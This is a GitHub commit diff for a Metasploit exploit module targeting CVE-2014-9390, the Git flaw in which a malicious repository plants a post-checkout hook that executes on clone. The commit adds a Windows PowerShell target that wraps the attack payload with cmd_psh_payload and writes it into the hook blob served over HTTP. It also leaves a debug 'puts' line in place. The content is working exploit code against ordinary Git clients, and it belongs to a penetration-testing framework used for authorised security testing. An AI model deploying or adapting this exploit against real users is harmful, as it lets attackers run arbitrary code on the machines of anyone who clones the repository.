Skip to content

Commit 42a10d6

Browse files
committed
Add Powershell target
1 parent abec7c2 commit 42a10d6

File tree

1 file changed

+16
-1
lines changed

1 file changed

+16
-1
lines changed

modules/exploits/multi/http/cve_2014_9390.rb

Lines changed: 16 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ class Metasploit4 < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

1111
include Msf::Exploit::Remote::HttpServer
12+
include Msf::Exploit::Powershell
1213

1314
def initialize(info = {})
1415
super(update_info(
@@ -72,6 +73,13 @@ def initialize(info = {})
7273
'Platform' => [ 'unix' ],
7374
'Arch' => ARCH_CMD
7475
}
76+
],
77+
[
78+
'Windows Powershell',
79+
{
80+
'Platform' => [ 'windows' ],
81+
'Arch' => [ARCH_X86, ARCH_X86_64]
82+
}
7583
]
7684
],
7785
'DefaultTarget' => 0))
@@ -120,7 +128,14 @@ def setup_git
120128
# .git/hooks/post-checkout and will subsequently execute commands of our
121129
# choosing upon cloning
122130
# build the hook file blob
123-
full_cmd = "#!/bin/sh\n#{payload.encoded}\n"
131+
puts target.inspect
132+
case target.name
133+
when 'Automatic'
134+
full_cmd = "#!/bin/sh\n#{payload.encoded}\n"
135+
when 'Windows Powershell'
136+
full_cmd = "#!/bin/sh\n#{cmd_psh_payload(payload.encoded, payload_instance.arch.first)}"
137+
end
138+
124139
sha1, content = build_object('blob', full_cmd)
125140
trigger = "/objects/#{get_path(sha1)}"
126141
@repo_data[:git][:trigger] = trigger

0 commit comments

Comments
 (0)